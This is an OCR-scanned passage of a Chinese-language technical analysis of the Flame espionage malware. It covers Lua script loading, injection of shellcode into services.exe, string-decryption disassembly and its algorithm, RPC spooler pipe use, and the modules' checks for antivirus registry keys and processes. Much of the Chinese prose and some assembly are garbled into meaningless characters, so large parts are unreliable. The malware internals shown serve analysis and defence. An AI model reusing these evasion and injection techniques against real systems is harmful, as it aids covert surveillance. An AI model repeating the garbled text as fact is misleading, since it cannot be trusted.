pop eax

call mssecmgr.100B8DFE

mov eax,dword ptr ds:[ebx+0xD4]
and dword ptr ss:[esp+0x10],0x0
lea ecx,dword ptr ss:[esp+0x10]
push ecx

push -0x1

push eax

call mssecmgr.100B9C8B

mov esi,dword ptr ds:[ebx+0xD4]
add esp,0xC

push mssecmgr.10304BES8

mov edi,eax

call mssecmgr.1000E431

ORXKIRIETA , INDTHREERE

; table name is"_params

Flame IRREFEDITIRS

; lua_settable : set value

B 3-11 &8 script BY{E

decode string "_params"

;  decode string "script"

; lua_pushstring

;lua_gettable get lua script

; lua_remove

; luaL_checklstring

"

; decode string "script

$28 W
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>

pop ecx
push eax

push dword ptr ss:[esp+0x14]

mov eax,edi

call mssecmgr.100BA0B2 ; lualL_loadbuffer load lua script
test eax,eax

pop ecx

pop ecx

jnz mssecmgr.100B8381

mov ecx,dword ptr ds:[ebx+0xD4]

xor edi,edi

push eax

inc edi

call mssecmgr.100B966F ;lua_pcall call lua script

mov esi,eax

3-12 BT script BH{E

T AT R BN 74 R AEAEAT RS T EDHLAR SR 47 e, MUK AT PDF B3R R AF 1044 5, 4
T FIBAHLRE 5 22 BESRER A, AT BE P X SE A HEAT B4 A

add esp, 0Ch

push offset unk_102CA098

call near ptr my_decode_strW ; decode : "Microsoft Office Document Image Writer"

: Microsoft Office Document Imaging Writer Jii 37 %2 % hix

AL A\ Ay B pdfig X SRR A word B jpeg,  [RIIE 2 TG0 B, St B 4 R A GF A, 841D
A LA office H 47 (1) KE4UFT EPAL 58 B IR B2 4L, o

1. pdf-word: /] Adobe Reader T 31, EFEFTEN LA, FTEIHLILE JyMicrosoft Office Document Imaging Writer, §71
Bl &4 p— &5*mdixc 4, FIMicrosoft Office Document Imaging (office T J2) #TJF, F“TH> Nk kK
EF|word” e U CFHEL MBS EMRMRE! D .

2. pdf-jpeg:F2 LTI 1) BT pdfiE semdi, 5 i Microsoft Office Document Imagingé mdi%4 17 > tag & S0k — %
22 BB A # T R S tag, T IX S8 B i tag 6 47 i jpeg GRFH 7 V38 B RS SC B AL, R ifcopy KR #i &, R
MPET) .

add esp, 4

mov [ebp+var_AQ], eax

push offset unk_102CA148

call near ptr my_decode_strW ; decode : "Microsoft XPS Document Writer"

A —Hwindows 48T AL

add esp, 4
mov [ebp+var_9C], eax

ORXKIRIETA , INDTHREERE $E29W]
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push offset unk_102CA1B0

call near ptr my_decode_strW ; decode : "Send to Onenote 2007"

; Office OneNote 2007 /& —FP¥FEilA, EHNM R T —MEEEICHE B E, I iR R R )
REAN 2 3L 2800 A R D BE A A 7w DA HR 3 pir 7 A 2, L2 2800 A 7 ) DLSE I Rl 7 345 5k
AR LA

;51 - http://baike.baidu.com/view/1439935.htm?wtp=tt

add esp, 4

mov [ebp+var_98], eax

push offset unk_102CA200

call near ptr my_decode_strW ; decode : "win2pdf"

; WIn2PDF & — @bl . 75 ANSTH) T RHAA, BER At PDFAS Sk AU L TR % . Win2PDFA] LA7EWindows
NT. Windows 2000F1Windows XP T~ %% s EI ML . ZEHI/EPDFRS St 15 M 51 E[1 Th RESR A 16 £ BN R AL —FE T 2,

iz 7] LLYE Internet Explorer. Microsoft Word. Excel. Quickensl At 57 FH A4 HLAE FH o R4 2 i 47 X5 1 AE HEL ] o) B
W HIE R R . I AN Fis R B, sl fhik B |Palm&E FHi2E .

e RN SAERRA SO BN b —TUA 4 1 7= i BE T

add esp, 4

mov [ebp+var_94], eax

push offset unk_102CA238

call near ptr my_decode_strW ; decode : "pdfconverter"

: PDFconverter iZ# 47 LU #H PDF U Nf$E BMP, DCX, FAX, HTML, JPEG, JPG, PCX, PNG, PS, postscript,
SGI, TGA, TIFF 1 TIF 7ENFIL0FM 2SI EUR, I H T ARGy SCART HTML STt ) 5 FTH AR VAR A Bl
B g ek T SRS A shie, DPI, EHWENST, S%H HTML &I L, & H Al S 46 R )
R

add esp, 4

mov [ebp+var_90], eax

push offset unk_102CA278

call near ptr my_decode_strW ; decode : "jaws pdf creator"

; Jaws PDF Creator /& — ™3k [F BT mJ A SR AT A5 8 (0 SO 77 2Q0 G e PDF U, FF A ATAT B FHFR 7 o {3 Jaws
PDF Creator, i Mk B 1R 25 5 01 4 FEL - SORS T DB Ik &5 Fe i R AR Aok 7 52 o B A T 70 40 R 1 PD 428 1) 45 44 1%
BRSO VR P Bk A L 5 N A% R FE A A v TSI o PDF ) &5 K 1 B e 3% B 322 s PDF Y —4X.. Jawss Pdf Creator
TR A=A RIFTEINL, BEARR SR, — BARIE FHTENSE, et EUE B I3 oy — AN PDF ST

add esp, 4

mov [ebp+var_8C], eax

push offset unk_102CA10C

call near ptr my_decode_strW ; decode : "pdffactory”

; pdfFactory 7= &3 it 7 L HARE P PR (A5 SE T . B A RCR R AR TR (A8 PDF SCAFIIfR R T %o
pdfFactory ProbgER A I K B2 pdf 0fF:, pdfFactory Proff T /5 B2 41 PDF(EER RS A TS BAE) At
R IIRERI R .

ORXKIRIETA , INDTHREERE %30:
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ay 82 K Flame (s A EARIRES
add esp, 4
mov [ebp+var_88], eax
push offset unk_102CA2C0
call near ptr my_decode_strW ; decode : "pdffactory pro"

; pdffactory pro—FC N RFRAL T — AN HEE I 7 s VEPDF SCR fipdfm AR B4, BB AT 3L, SEAE B, & [EI S 324
F64f;. PdfFactoryfE%# 2 5, JEASHIL—MNMEE E X EWREFET R, BRIE T @A s—A B
PdfFactory+T ERHLRSZEL, BT CATETF I AT 32 B p iR AN B AT 7 o I8 R <FTED-ThRE, K2Rl 4T
EISCHY, 4iTXT. DOC. PPTAESCAF H#5 # PDF S o I H., XA I FE R AN 75 22 5 Ab 22 B PDF SRS 3 W 25 119
BT RR M B . 2238 2 J5, FTHPARTE EERL 3 m) SO, BRI T ENThAE, HiReE 24 JyPdfFactory 147 B
LT o BAFIRN, AHRIRSEII TR EIA D

add esp, 4

mov [ebp+var_84], eax

push offset unk_102CA338

call near ptr my_decode_strW ; decode : "fineprint pdffactory pro"

; pdfFactory 7= fhE 4L T LLHABFE P ERAME BRI o . B AR A D e SR 101 PDF SCAFIIR R TT R .
pdfFactory Probrifk A K78 pdf SCF, pdfFactory Profl T 75 2 %4 (PDF (L SO . /A &5 BL25) Al Hodt vy
FINEEI R P

add esp, 4

mov [ebp+var_80], eax

push offset aXcNPsiGiOaZ ;

call near ptr my_decode_strW ; decode : "acrobat distiller"

: Acrobat Distiller /& 1) & PDF SCAE (04T 84 . 78 2 shDistiller J&, /7] LB B — DR FRIPEAERIE . 3.0
FRAS BB AT S bR, B.ORRAS LU, B K ZH07E 7,08 5 47 IR BTG HE, AT DR 75 Bk 06, Ha En il
MK TREEREE—T, BWATRe MO —2em 8, Flan: HIERNATRERIPA T, JovEfiRs: A E e
TP P AFANIERE— T, ASRLe o Hea . PSRN IR, AR{E DRI AR I KA 25 B4 . Adobeff) CPSI
(PostScriptfffegs) 2 IEAE, BERTAREMEIL, EI6ECIEPDFC .

add esp, 4

mov [ebp+var_7C], eax

push offset unk_102CA304

call near ptr my_decode_strW ; decode : "pdf995"

; “PDF995” & — 3 f B¢ I PDF A% X F 1 | AR R, AT AR AN L b 4T P AT VR AT SRS (Cn“Microsoft Word” SCAF)
Fe A PDFHE 3. W] LLEWww.pdf995.com b 2 N 4. PAR 21 HI PDFOISH SC A1 46 p PDF Bt kA% XK 77 25

add esp, 4

mov [ebp+var_78], eax

push offset unk_102CA3DC

call near ptr my_decode_strW ; decode : "PDFCreator"

; PDFCreator/& — /M S FEF , SCRFwindowsT BN ) B2 FIAT ] #2 5 &0 iT LAAE & 6] it PDF SCRY « /1 I PDFCreator
Aes A7 PDFXCRY, Postscript’yC#4, Encapsulated Postscript SCF; ‘& tAEAEKPNG, BMP, JPEG, PCX, TIFF
BT S, SRR A IR I RE FRVFIREE 2 N OSL IR SCRS 3 Ak & — NPDFSC A

ORXKIRIETA , INDTHREERE %E31}|
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add esp, 4
mov [ebp+var_74], eax
push offset unk_102CA418
call near ptr my_decode_strW ; decode : "primopdf"

PrimoPDF & — /M 9 . i F ] B 1) SO 3% PDFRS s A, IX B PrimoPDFRI LA“Dh 37 B & — S EINL, AR5
A T DAST BRI S B PDFRS R e, FrLAAS IS & Word. html. Excel. jpg cfh2ess, B RTTLAFTEIR
i, AR AT DA B PDF#% 3

add esp, 4

mov [ebp+var_70], eax

push offset unk_102CA450

call near ptr my_decode_strW ; decode : "sonic pdf"

; Sonic PDF Creators& — X DI Ae 3 KHIPDF LR, 1Z3 A5 7] LA B R PDFREAT & B, fltnelg, ik,
IKER, AR5 BEPDFSCAY . BRI LR Blln, #-G) 8 PDFSCRY B o e —Fa, 7ERIZER A 4491
RIS o AL FEMWord, Excel, PPTEESEAE 20 B 24 /L PDFSCAY, I HL7E R 3 1 2 A AN e A8 YR ST A 1) 5L
PAAT IR, BSR4 NI

add esp, 4

mov [ebp+var_6C], eax

push offset unk_102CA490

call near ptr my_decode_strW ; decode : "bluebeam pdf printer"

; Bluebeam[¥] PDF Revu Xif IS 46 75 £ B SR R PR 48 07 22 (10 FH P SReid vl A5 S BRARL) 1. Bluebeam 1] BA7EWord,
Excel 57 /& PowerPoint ¥4 il T B it 4 H 4 dilie 4, B DU o R R A5 00 BT R A B 5 o T T~ Hofth
Windows #2F(EE £ i WordPerfect, Outlook, image files>ki5t.) Bluebeam#2 it T Bluebeam PDF Printer &3k zh, H
FLOVEPDF , 38 SRR HA JURR ST (e 4, BLIR) 2 143 fai BB

add esp, 4

mov [ebp+var_68], eax

push offset unk_102CA4EQ

call near ptr my_decode_strW ; decode : "cutepdf writer"

; CutePDF Writer JL-T-RE MWFT BN 77 XS BRAIT A SC A A% 20 2 15 5 EEPDF I 86 4 o A N RN 45 AR 2 46 %0 S 9% 1. T
JKEN, BT, 644717 Windows.

add esp, 4

mov [ebp+var_64], eax

push offset unk_102CA528

call near ptr my_decode_strW ; decode : "broadgun pdfmacOhine"

; pdfMachines& —FKPDF AL R TR, W] DIAREEFA Hl 1) 2 v o7 & U PDFSCA
AUTNR R T 2% g M, REsd— T RbR;

add esp, 4

mov [ebp+var_60], eax

push offset unk_102CA578

call near ptr my_decode_strW ; decode : "spss pdf converter"

ORXKIRIETA , INDTHREERE ®32]
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. —2KPDFIZmaE, FEHir. NPDFFEHIRMAL T e B T &, Re &)t Hi, HEZGmEPDFIE. SCRFH
¥R : Microsoft Word,Corel WordPerfect, Execl2s k| 345 2%,

add esp, 4

mov [ebp+var_5C], eax

push offset unk_102CA5F8

call near ptr my_decode_strW ; decode : "quicken pdf printer"”

AR AT RN, & 75 SR PDFHT Bl AR () e A 3 1 5E

add esp, 4

mov [ebp+var_58], eax

push offset unk_102CA648

call near ptr my_decode_strW ; decode : "pagemanager pdf writer"

;RS T A Office SUAY Bl F AR SR BE e WPDFI TR, WA R 2.

add esp, 4

mov [ebp+var_54], eax

push offset unk_102CA6D8

call near ptr my_decode_strW ; decode : "pdfcamp printer"
add esp, 4

mov [ebp+var_50], eax

push offset unk_102CAT720

call near ptr my_decode_strW ; decode : "mindmanager pdf writer"
add esp, 4

mov [ebp+var_4C], eax

push offset aJvCfS6yvsSI ;

call near ptr my_decode_strW ; decode : "solid converter pdf"

:Solid Converter PDF& —& & [ P PDF U84 lDOCHI B4, [ T #5450 DOCSCAEAL, 3B AT PARE i il RTF LA %
Word XML . Britb 2z 4h, B —ANE A BEEhEE, T LLERRATE PDFRS B R A ok, LUK PDFAY
I RAG R R, F% R Excel B, 7 EIRA g FTAE B IR

add esp, 4

RIWTAEAY RPC 42 1) 715 B 48 €
mov [ebp+str_buffer_1], edx
mov [ebp+var_2C4], 0

lea eax, [ebp+free_string]

push eax ; string
push offset unk_102CA7C8

ORXKIRIETA , INDTHREERE %33:|
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call near ptr my_decode_strW ; decode : ™"

add esp,

push eax ; string

push offset unk_102CA7F0

call near ptr my_decode_strW ; decode : "\pipe\spoolss"
add esp,

push eax ; network addr

mov ecx, [ebp+cl]

push ecx ; string

push offset unk_102CA834

call near ptr my_decode_strW ; decode : "ncacn_np"
add esp,

push eax ; string

push offset unk_102CA870

call near ptr my_decode_strW ; decode :
""12345678-1234-abcd-ef00-0123456789ab"

add esp,

push eax ; ObjUuid

call RpcStringBindingComposeW
mov [ebp+RPC_STATUS], eax
cmp [ebp+RPC_STATUS],

jz short loc_101

ZHfyil CCID 4"12345678-1234-abcd-ef00-0123456789ab" ) RPC Mifit NG & /AR 7 Ihfk . HAER1ER
X NDIREVERT, I\

ST R A RS, HAE R A S 5 S T RO — B0, (BRI S A B R I I e
BRCHEAT S X R 51 P LARE KB AR R 58, R R 8 i Hon & =/ s e .

3T R flame Hh AR H B 45 R AT BE DI putty ZHAF IS Hn T

BT "-batch"
BT "ipud”
BT "ipwg”
METE : "-pgpfp”
BETE  "raw"
BT "-rlogin”
BETE ; "-ssh"
T "telnet"

RILATEE N flame %32 web IR 55 25 K25 5 E. .

——mmg =

"CONNECT %as %l HTTPJL. 1inHost: %as: %eilrinProxy-Authorization: Basic %s\rinProxy-Connection: Keep-aliveirinirin"
"COMMECT %es: %l HTTPJL. 1rinHost: s %eiirynProxy-Authorization: MTLM %sirinProxy-Connection: Keep-alivelrinirin”
"COMMECT %es:%i HTTPJ1. 1irinHost: %6s: %eirnProxey-Authorization: MTLM %:sirinProxy-Connection: Keep-aliveirinirin®
"COMMECT %os: %l HTTPIL. 1irinHost: %as: %eiiriniein

ORXKIRINEFE , RIDTHRIEE, $34:]
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oy 83 R Flame BESEAE SRS

X flame 73 A\ 3 services.exe B2 shell code F2HL, FE427F NI S AR XA B #0476 8, SR )58 XL
ML AZ IR shell code. EZ R B, shell code [ BRELISEC N — A REER, RPN shell code J54:1)RE
FERREL, IR,

kernel32!0OpenMutexW
kernel32!Virtual Alloc
kernel32!VirtualFree
kernel32!VirtualProtect
kernel32!LoadLibraryA
kernel32!LoadLibraryW
kernel32!GetModuleHandleA
kernel32!GetProcAddress
ntdll!memcpy

ntdll'memset
kernel32!CreateFileMappingW
kernel32!0OpenFileMappingW
kernel32!MapViewOfFile
kernel32!UnmapViewOfFile
kernel32!ReleaseMutex
ntdll!NtQueryInformationProcess
ntdll!'RtIGetLastWin32Error
kernel32!CreateMutexW
kernel32!WaitForSingleObject
kernel32!CloseHandle
kernel32!CreateFileW
kernel32!FreeLibrary
kernel32!Sleep
kernel32!LocalFree

Xf Flame 73 A\ 2 services.exe ZEF2 741 1] shell code #4773 41 &30, o mssecmgr.ocx #E £ 2% 2 shell32.dlI
REHm ) S5 2R H e N shell32.dll BB FFARBUL A0, SR 5 BURE LSO, (ELR AR FH ok B
A5 356 IR LS SC AR /Nl msseemgr.oex BRER IR/, ARG R AR, A1 B SO R /N34 msseemgr.ocx
XA KN SR )5 msseemgr.ocx FIEEAN ST L (DOS Sk+PE Sk+[X B # T 5 shell32.dll () SCA-AR I .

i Je JEit mssecmgr.ocx (191X BAF BAEIA PR AN X Bede g HAR X fl ik 52 1 21 shell32.d11 FIRE A .

loc_1CA4E27:
movzx  eax, word ptr [ebp+8] ; section index
mov ecx, [ebp-34h] ; section table
imul eax,

ORXKIRINEFE , RIDTHRIEE, ®35]
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add eax, ecx ; section address
push dword ptr [eax+10h]
mov edx, [eax+14h]
mov eax, [eax+0Ch] ; section rva
add eax, [ebp-0Ch] ; section address of shell32.dll view
lea ecx, [esi+ ]
add edx, ecx
push edx
push eax
call dword ptr [esi+20h]
; ntdil'memcpy() copy section to shell32.dll view buffer
add esp,
inc dword ptr [ebp+8]
mov ax, [ebp+8]
cmp ax, [edi+6] ;while all sections
jb short loc_1C4E27 ;

3.2 Soapr32.ocx HEHAMT

S0apr32.0cx J&“ K IE IR BHE AT R BRI B S0 2 —
WS BT RE BB . Soapr32.ocx fEHHH 1R 2 ThRE 2 SRR G (1 — L6 (5 2
A1) DA B X A5 45

B. MEER.
1. ST

M85 5. USB 15 8.

Flame IRREFEDITIRS

AT I AR (R 20 M 1 A 3 AR R Ok
(K1, Biln. 2R AAHE

X Soapr32.0cx BEER (34T, ATV 1 i AER (1 LR DhRE(S

®  RIUAR G b 2k i) P 4% IE L o B RFAIE -

IP bk, FRIFEIS. Mok, DHCP WE ZE .

® REUARHL I FHL 5 IR RS AR 00 AT, CE WG R R R T AN AL S R
. BEHARDS . EERA, HP 2L EA.

® H{ HOSTS XAFINE, EF & EAF1EHEE M.

® FIZEHI KM AL, 3R1F)E T Administrators' ZHHTH

o WEMERIEMGEE, WHTEEAR. RAMBIR ., EREUL TR KE R

® 7B Outlook.  Microsoft Word. Internet Explorer 25 i 4

® ST TN [A] LA K X AE S

® U E \pipe\srvsvc'

® KT AL A USB f7fiti i

o RIUNAIENEIFIERME S, HlanIkahasiy, S =R,

® EETCAMZE SIS, Blin WIFI BEg 2 FR. AN 2880 B0k J7 V2 sl

o WUEMERIEGEE, WRTHEAK. RAFBIR . SR T E R

o RN MEHEIRIER, EEAWEREESR, Bl S, B kEIRA . 5 £ 41
ORXIRINFIE , WiDTHREEE $36:
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o
HARABLR
Soapr32.ocx FEHLHE VI M AE B AT A E RGPS i T 2t
® SOFTWARE\KasperskyLab\avp6\settings
® SOFTWARE\Kerio
® SOFTWARE\FarStone\FireWall
® SOFTWARE\Symantec\InstalledApps
® SOFTWARE\Symantec\SymSetup\Internet security
® SOFTWARE\Tiny Software\Tiny Firewall
® SOFTWARE\KasperskyLab\avp6\settings

Soapr32.ocx BEHL S i AR B R R GUIaAT R o2 5 DL R BEREAAAE :

avp.exe
ccevtmgr.exe
ccsetmgr.exe
vsmon.exe
zZlclient.exe
Outpost.exe
mcshield.exe

MpfService.exe

Flame IR REFESITIRS

Soapr32.ocx FHRTE TEMP H 3 FRAUIG S SO/, TEMP ST H I P9 2 AN Y 25 -

C:AWINDOWS\Temp\~mso2a0.tmp
C:\WINDOWS\Temp\~mso02a2.tmp

Soapr32.ocx fE Bk [ Program Files T FifT H -

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]

o 2y M R A XA
lhKey = HKEY_LOCAL_MACHINE

|Subkey = "SYSTEM\CurrentControlSet\Control\TimeZonelnformation"

|Reserved =
|Access = KEY_READ
\pHandle =

"forceguest"=dword:00000001
PIZE DT . Ak 7 B FE A 22 e NORE-AHUA] P DR B R IR IE . IXI, =24 Jadgh o oA

HLES VT R AL, A H o 1iHe, BT LB R

WERTCZ MR A5 2, Bl WIFL I A4 BR. (RN 88, B8E 7 2 il

ORXKIRINEFE , RIDTHRIEE,
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iy 82 R Flame B A SRR
00D43940 Xiaomo..........cu... TP-LINK_6C90DE.
00D43980 ...... admin.........c....... luck......coeveeneee. simao...........
00D439C0 ..... ChinaUnicom.......... CMCC......ccoeene. TP-LINK_CN.......
00D4A3A00  ....USEl...ccceeeerrenns EWA@ECN.......ccoeeeiivieereeenens
2. FREBEEEST
SRR :
[byte] [word] [dword]
Sign Length Address

HFIM AR IR, RN K A i

0x1000COEO proc near
push esi
mov esi, [esp+8]
cmp byte ptr [esi+8], O
jnz short 0x1000COFO

lea eax, [esi+0Bh]
pop esi
retn
0x1000COFO0:
movzx  eax, word ptr [esi+9]
push edi
push eax
lea edi, [esi+0Bh]
push edi
call 0x1000C0BC
pop ecx
pop ecx
mov eax, edi
pop edi
mov byte ptr [esi+8], O
pop esi
retn

0x1000COEOQ endp
decrypt the data:
0x1000C0BC proc near
push edi
xor edi, edi
cmp [esp+0Ch], edi
jbe short 0x1000CODE

push esi
0x1000C0C6:

mov eax, [esp+8+8]

lea esi, [edi+eax]

ORXKIRINEFE , RIDTHRIEE, %38W]
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mov eax, edi
call 0x1000C0A2
sub [esi], al
inc edi
cmp edi, [esp+8+C]
jb short 0x1000C0C6
pop esi

0x1000CODE:
pop edi
retn

0x1000COBC endp

3. MBEEPES
THE T
EAX=(0x11h+n)*(0xbh+n)
note:n is the offset of the decrypted byte.
AL=(M1)xor(M2)xor(M3)xor(M4)
Decrypted data = Encrypted data — AL

EnX

M1 Nz M3 M4

B 3-13 AL=(M1)xor(M2)xor(M3)xor(M4)
3.3 Advnetcfg.ocx BB 4T

Advnetcfg.ocx & “ KM R EE AT o BRI B 02—, FRATIE IS PR B A, AR 2 AR R
1 M EUR #E45 JE.. Advnetcfg.ocx 3847 J5 24t 1 & Fl%windird\system32\ccalc32.sys ST Qi ], 42
eSS ) AN 18] I (A oMt R G vp ) Kernel 32,11 — 1

Advnetcfg.ocx ] T F A7 IRIETOR, XA Nteps32.ocx HI5HZE —FER .

£ Advnetcfg.ocx SCAFHT, R R 179 ¥k, % AR dh bk Jy 1000BE16. kM2 s
SLIN

ORXKIRINEFE , RIDTHRIEE, E39:]
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oy 83 R Flame BESEAE SRS

Call+
Sub_1000BDAT+

] '
] ] '
] . .
] i '
i ! '
i ! '
! i '
i I '
i i '
EWTSITEE | - '
sub_1000EE 1€ | : .
sub_T000BE 16 H T !
sub_TO00BE 16 ! Call+ ! '

Call+
sub_T000EE 16

sub_T000BE 16 H Sub_1000BELG+ H H Sub_1000BDEE+
sub_T000BE 16 ! ] [
cub_TO00BE 16 / . ' Get gy
sub_T000BE 16 . H H

H H

sub_T1000EE 16
sub_T1000BE 16
suby T000BE 16+

o

o

ELEECEEEEEE

Return+!'
Sub_1000BDAT+
GECryRL the data+!

Return+'

Sub_1000BEL6« |

Rewrite sign+!

3-14 BERER

PR % 0Xx1000BE16 H — NS 8, EZSEN—NEEMER, ST

[byte] [word] [dword]
Sign Length Address

R EIRBUE N, S NS EE AR e (Fas E (N an ik o A pR SO 8 BT SR R 2 1B e s

g

HARACHS WL

ORXKIRINEFE , RIDTHRIEE, 40T
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ebp
1088BE17 8BEC mov ebp,esp
1006BE19 53 ebx
18868BE1A 56 esi
1006BE1B 57 edi
1006BE1C 8BCA mov eax,eax
1086BE1E 53 ebx
1088BE1F 5a eax
1BG6BE2 8 58 eax
1000BE21 5B ebx
1086BE22 60 pushad
1086BE23 61 popad
1808BE2L4 8B75 @8 mov esi,[arg.1]
1086BE27 66:837E 18 Blcmp
10B6BE2C|| .. 75 89 m Xadvnetcf.10080BE3T7
1086BE2E 8AcA mov al,al
1006BE3 @ 8AEY mov ah,ah
18868BE32 8Du4b 14 lea eax,
1066BE35|| .. EB 22 Xadvnetcf.1B8060BES?
1088BE3T BFB746 12 mouzy eax,
1006BE3B 5a eax
1886BE3C 8DSE 14 lea ebx,
1086BE3F 53 ebx
100BEEL4 A E8 G62FFFFFF |(call advnetcf.1800BDAT
1006BEYS 66:8366 18 O] and
10868BE4A 59 ecx
10806BEL4E 59 BCx
1888BELC 83F8 @8 cmp eax,
10BBBEYF || .. 74 B4 ﬂg Xadvnetcf.180BBESS
1086BES 28 nop
1886BES2 8BFF mov edi,edi
1006BESY o8 nop
180BBESS 8BF6 mov esi,esi
1080BEST 8BC3 mov eax,ebhs
1006BES? 5F edi
1886BESA S5E esi
1006BESB 5B ebx
1006BESC 5D ebp
1088BESD C3

3-15 fREEH 1000BEL6
TEE R TR R R

A 2 NS, B D RME TR R ARG, B MRTRHRKE, REBEAREE.

Xl

ORKIRINFA , WIBTIREER BALT
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HUBEDH
1808BDAB
1886BDAA
1886BDAB
1868BDAD
18868BDBA
1886BDB2
1886BDB3
1080BBDEG
1888BDBY
1006BDBB
1886BDCA
1806BBDC2
1888BDC3
1888BDCAH
1886BDCE
186BBDCY?
1888BDCA
1886BDCB

8BEC
57
33FF

. 397D 6C

Lo 76 17
5h
8BAS 08
803407
8BC7
ES ASFFFFFF
2806
u7

. | 387D Bc

~| 72 EB

. | 5E

> Lgp
5D
c3

R A
T

EAX=(0xAh+n)*(0x5h+n)

Flame IR REFESITIRS

ebp
moy ebp,esp
edi
Zor edi,edi
cmp [arg.2],edi
Xadunetcf .1000BDCY
esi
mov eax,[arg.1]
lea esi,
mou eax,edi
call advnetcf.18068BD63
sub ,dl
inc edi
cmp edi,[arg.-2]
I Xadunetcf.1000BDB3
esi
edi
ehp

3-16 fREFHH 1000BDA7

note:n is the offset of the decrypted byte.

AL=(M1)xor(M2)xor(M3)xor(M4)

Decrypted data = Encrypted data — AL

HHBEDOS
1806BDGB
1808BDSE
1808BD71
10688BD73
1808BD76

1808BD78
1808BD7A
1808BD7D
1808BD7F
1800BDE1

Eai

Mi

83CA B85
BFAFCS
8BD1
C1EA B8
8BC2
33C1
C1E8 18
33C2
33c1

C3

Mz M3 M4

B 3-17 AL=(M1)xor(M2)xor(M3)xor(M4)

ed PCH,

add eax,
imul ecx,eax
mov edx,ecx
shr edx,
mov eax,edx
XOF eax,ecx
chr eax,
X0F eax,edx
HOF eax,ecx

3-18 fRF ek # 1000BD68

R R Z 8 Gt 90 2N RE) WISmBE. B G DU R A 22 47 fh O IERE . B SR = 21128 — KR 2y [
HINFRAT 1) S 3 2 A R R 21 3 (VF DLPH S = Advinetefg.oex RN ] b 32 22 s s B AR ERE 13K

ORXKIRINEFE , RIDTHRIEE,
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A5 e P A5 FH 1 3 2 e S R

BE RGEME TR TEA KasperskylLab I W 22 A «
"HKLM\SOFTWARE\KasperskyLab\AVP6"

GetDIBist

SelectObject

BitBIt
CreateCompatibleBitmap

CreateCompatibleDC

"HKLM\SOFTWARE\KasperskyLab\protected\AVP7"

3.4 Nteps32.ocx BH

Flame IR REFESITIRS

Nteps32.0cx &K MR BFISAT SR LRI 85 SCIF 22—, AT BRAEH K 7 Hr 1 g 2 AL B (4

NBERL SR R # 5
[ I R, A R SE P Kenel32.d1E —FE.

1. RS T e S

"%windir%temp\~HLV927.tmp"
"%bwindir%temp\~HLV751.tmp"
"%windir%temp\~HLV084.tmp"
"%windir%temp\~HLV473.tmp"

"%%windir%temp\~HLV294.tmp"

Nteps32.0cx 1547 J5 21 F & A1 Boot32drv.sys SCA4 Gzt A . 45 St ) Al

A_E e SRR R HANR] B T REIC SR SO IFom s a2, fildn: s, #1525

2. BERIEMEDEREEREHERENRR
® HKLM\SOFTWARE\KasperskylLab
® HKLM\SOFTWARE\KasperskylLab\AVP6

® HKLM\SOFTWARE\KasperskyLab\protected\AVP7
3. GMBASHAFRBIIRER, FERRENSRE,

live.com
.hotmail.
gawab.com
gmail.com

mail.

ORXKIRINEFE , RIDTHRIEE,
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® maktoob.com
® rocketmail.com
® yahoo.co

® ymail.com

Nteps32.0cx fiHid (& — A F T HE M 2% 22 i RE R P, IR ECRAE 130 oA idkRe, #RZE Sk
LR KR s SO A g g A BRI LB DY (BRPU s Nteps32.0cx AR BRAS TN s i 2
BAFHEREANE, Hh A bR e A A e B D

AP B 10 3 Th RE AR5 45 T g A T B R R
® GetDIBist

® SelectObject

® BitBIt

® CreateCompatibleBitmap

® CreateCompatibleDC

® MsgWaitForMultipleObjects

® MapVirtualKeyExA

® MapVirtualKeyA

® ToUnicodeEx

3.5 Msglu32.ocx BEHHT

Msglu32.0cx J&“ K R BEISAT fa RIS 85 S0t 2 —, FRAT T of I B (¥ 23 BT 1 e 380 A e i
RGOSR RS, B HURE E SO R SR B, R B N3 sql #dfs B, RISt n] DS sof
Hh 5 A SR — S AE R

1 BEHEENRTDEGA R ORI,

® HKLM\SOFTWARE\KasperskyLab\AVP6
® HKLM\SOFTWARE\KasperskyLab\protected\AVP7
2. R NSRRI AR

AntiHook.exe . EngineServer.exe . FAMEH32.exe. FCH32.exe. Filemon.exe. FPAVServer.exe .
FProtTray.exe. FrameworkService.exe. fsav32.exe. fsdfwd.exe. fsgk32.exe. fsgk32st.exe. fsguidll.exe.
FSM32.exe. FSMA32.exe. FSMB32. fspc.exe. fsgh.exe. fssm32.exe. jpf.exe. jpfsrv.exe. mcagent.exe.
mcmscsvc.exe. McNASvc.exe . McProxy.exe . McSACore.exe. Mcshield.exe. mcsysmon.exe. McTray.exe.
mcupdmgr.exe. mfeann.exe. mfevtps.exe. MpfSrv.exe. naPrdMgr.exe. procexp.exe. PXAgent.exe.
PXConsole.exe. shstat.exe. sp_rsser.exe. SpywareTerminator.exe. SpywareTerminatorShield.exe .
UdaterUl.exe. VsTskMgr.exe

3. JWEEEM DI RGP ISR, HOGER SR BIR AT

ORXKIRINEFE , RIDTHRIEE, %447
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ANTIY
® Office Mg A TR (BLFE docx. xlIsx. pptx &)

® Autocad 1t

® Visio X ff
® Pdf ff
o it

TRTFAEXS LR B AR SO AT OIS, R 2id sk SO R FIE R, BUEERa]L BBt Ta) L 1R
QU R, AL BB L BRE. AT . SRR, LI AL SOk & 2 Bl 2
. ﬁki&?&ﬁi%“&%ﬁﬁﬁﬂ?*%ﬁé\ﬂ%faﬁi:

update "%w".sglite_sequence set name = %q where name = %(q

update sqlite_temp_master set sql = sqlite_rename_trigger(sql, %q), tbl_name = %q where %s;

update "%w".%s set sql = substr(sql,1,%d) || , ' || %q || substr(sql,%d) where type = 'table' and name = %q
update %0.%s set type="%s', name=%q, tbl_name=%q, rootpage=#%d, sql=%q where rowid=#%d

select ‘create table vacuum_db." || substr(sql,14)  from sqglite_master where type="table' and name!

select ‘create unique index vacuum_db." || substr(sql,21)  from sqlite_master where sql like ‘create unique

index %'
insert into vacuum_db.sglite_master  select type, name, thl_name, rootpage, sql from
main.sglite_master  where type='view' or type='"trigger' or (type='"table' and rootpage=0)
18875416(|| - 56 push esi -
18875417 || - 56 push esi
18875418|| - 56 push esi
18875419|| - 56 push esi
1007541a|| . 5@ push eax
1007541B|| . FF75 E8 push dword ptr [ebp-18]
1007541E|| . 68 28FD1718 |push 1817FD28 update
10075423 || . E8 9849FFFF |call 108069088
10075428|| . FF75 E8 push dword ptr [ebp-18]
10807542B|| . 8B7D FC mov edi, dword ptr [ebp-4] v

1817FD28=1817FD28 {(ASCII "UPDATE %0.%s SET sql

CASE WHEH type = "trigger’

1817FD28 | UPDATE %0.%s SET sql = CASE WHEH type = ‘trigger® THEH sqlite re
